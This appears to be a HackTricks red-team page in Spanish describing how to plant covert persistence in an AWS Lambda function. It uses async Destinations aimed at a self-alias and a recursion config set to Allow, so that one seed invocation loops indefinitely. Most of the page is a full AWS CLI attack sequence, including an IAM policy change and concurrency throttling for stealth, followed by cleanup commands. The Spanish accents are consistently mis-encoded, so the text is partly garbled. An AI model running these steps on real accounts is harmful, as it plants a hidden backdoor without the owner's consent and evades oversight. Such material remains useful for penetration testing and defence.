AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Abusa de los Destinations as铆ncronos de Lambda junto con la configuraci贸n Recursion para hacer que una funci贸n se vuelva a invocar continuamente sin un programador externo (no EventBridge, cron, etc.). Por defecto, Lambda termina los bucles recursivos, pero establecer la recursion config en Allow los vuelve a habilitar. Los Destinations entregan en el lado del servicio para async invokes, por lo que una 煤nica invocaci贸n semilla crea un canal sigiloso de heartbeat/backdoor sin c贸digo. Opcionalmente, limita el ritmo con reserved concurrency para mantener bajo el ruido.

Notas

  • Lambda no permite configurar la funci贸n para que sea su propio destination directamente. Usa un function alias como destination y permite que el execution role invoque ese alias.
  • Permisos m铆nimos: capacidad para leer/actualizar el event invoke config y recursion config de la funci贸n objetivo, publicar una versi贸n y gestionar un alias, y actualizar la policy del execution role de la funci贸n para permitir lambda:InvokeFunction sobre el alias.

Requisitos

  • Regi贸n: us-east-1
  • Vars:
  • REGION=us-east-1
  • TARGET_FN=

Pasos

  1. Obtener el ARN de la funci贸n y la configuraci贸n actual de Recursion
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
  1. Publicar una versi贸n y crear/actualizar un alias (usado como destino propio)
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
  1. Permitir que el rol de ejecuci贸n de la funci贸n invoque el alias (requerido por Lambda Destinations鈫扡ambda)
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
  1. Configure el async destination al alias (self via alias) y desactive los retries
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
  1. Permitir bucles recursivos
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
  1. Iniciar una 煤nica invocaci贸n as铆ncrona
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
  1. Observar invocaciones continuas (ejemplos)
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
  1. Limitaci贸n sigilosa opcional
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION

Limpieza

Interrumpe el bucle y elimina la persistence.

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true

Impacto

  • Una sola invocaci贸n as铆ncrona hace que Lambda se vuelva a invocar continuamente sin un planificador externo, permitiendo persistencia/latido sigiloso. Reserved concurrency puede limitar el ruido a una 煤nica ejecuci贸n en caliente.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks